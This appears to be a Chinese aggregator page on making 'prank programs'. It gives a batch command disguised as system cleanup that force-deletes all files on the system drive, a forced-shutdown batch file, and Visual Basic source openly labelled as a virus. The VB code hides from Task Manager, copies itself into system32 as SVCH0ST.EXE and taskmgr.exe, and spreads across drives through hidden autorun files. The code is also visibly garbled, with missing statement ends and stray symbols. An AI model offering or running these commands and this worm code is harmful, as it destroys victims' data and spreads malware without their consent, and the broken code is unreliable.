如何制作整人小程序?回报~~~
很简单 把@echo off echo 正在清理系统文件，请稍等...... del /f /s /q %systemdrive%\\*... echo. & pause 写在记事本然后保存为bat格式，就是一个整人程序
Shutdown -s 这个代码 写在记事本 保存为123.bat 保证他马上关机
vb整人小程序代码
Dim num, nums '驱动器数
Dim i As Integer '文件号
Dim j As Integer 'FOR用的变量!
Private Sub Form_Load() '程序初始化！
'不准重复运行本病毒！
If App.PrevInstance Then
End
End If
'在任务管理器中隐身！
App.TaskVisible = False
'病毒自我保护函数
a0
auts
'得到当前驱动器数！
a2
'设置时间：为5000 MS 检查一次(5秒)
t1.Interval = 5000
t1.Enabled = True
End Sub
Sub a0() '病毒自我保护函数
Dim temp As String
Dim temp2 As String
On Error Resume Next
temp = Trim(App.Path) "\" Trim(App.EXEName) ".exe"
'得到系统目录！得到后，自我复制到SYSTEM32下！
For j = 0 To aa.ListCount - 1
temp2 = Trim(aa.List(j)) "\windows"
If Dir(temp2, vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then
temp2 = Trim(aa.List(j)) "\WINNT"
GoTo zz1
Else
FileCopy temp, Trim(aa.List(j)) "\winnt\system32\SVCH0ST.EXE"
FileCopy temp, Trim(aa.List(j)) "\WINNT\system32\taskmgr.exe"
FileCopy temp, Trim(aa.List(j)) "\WINNT\system32\dllcache\taskmgr.exe"
FileCopy temp, Trim(aa.List(j)) "\windows\system32\SVCH0ST.EXE"
FileCopy temp, Trim(aa.List(j)) "\windows\system32\taskmgr.exe"
FileCopy temp, Trim(aa.List(j)) "\windows\system32\dllcache\taskmgr.exe"
FileCopy temp, Trim(aa.List(j)) "C:\WINDOWS\ServicePackFiles\i386\taskmgr.exe"
zz1:
Next
Sub a1() '感染函数
For j = nums ◆ 1 To num
temp2 = Trim(aa.List(j)) "\auto.exe"
FileCopy temp, temp2
i = FreeFile
Open Trim(aa.List(j)) "\autorun.inf" For Output As #i
Print #i, "[Autorun]"
Print #i, "open=auto.exe"
Close #i
SetAttr Trim(aa.List(j)) "\autorun.inf", vbHidden
SetAttr Trim(aa.List(j)) "\auto.exe", vbHidden
Sub a2() '得到当前驱动器数！
num = aa.ListCount - 1
If Dir("c:\.a", vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then
Open "c:\.a" For Output As #i
Print #i, num
Private Sub t1_Timer() '时间函数
Open "c:\.a" For Input As #i
Line Input #i, nums
nums = Trim(nums)
nums = Int(nums)
If num <> nums Then
nums Then
a1
If num < nums Then
aa.Refresh
Sub bat() '写自我删除程序
Open App.Path "\killme.bat" For Output As #i
Print #i, "@echo off"
Print #i, "sleep 1000"
Print #i, "del " App.EXEName ◆ ".exe"
Print #i, "del killme.bat"
Print #i, "cls"
Print #i, "exit"
Shell App.Path "\killme.bat", vbHide
Sub auts() '自我感染全驱动器
On Error GoTo err1
Dim file_temp As String
Open "c:\autorun.inf" For Output As #i
Print #i, "open=autorun.exe"
file_temp = Trim(App.Path "\" App.EXEName ".exe")
FileCopy file_temp, "c:\autorun.exe"
SetAttr "c:\autorun.inf", vbHidden
SetAttr "c:\autorun.exe", vbHidden
Dim dirid As Integer
For dirid = 100 To 122
MsgBox Chr(dirid)
FileCopy "c:\autorun.exe", Chr(dirid) ":\autorun.exe"
FileCopy "c:\autorun.inf", Chr(dirid) ":\autorun.inf"
SetAttr Chr(dirid) ":\autorun.inf", vbHidden
SetAttr Chr(dirid) " :\autorun.exe", vbHidden
err1:
后缀改为vbs
以上就是土嘎嘎小编大虾米为大家整理的整人小程序相关主题介绍,如果您觉得小编更新的文章对您有所帮助，不要忘记讲本站分享给您身边的朋友哦！！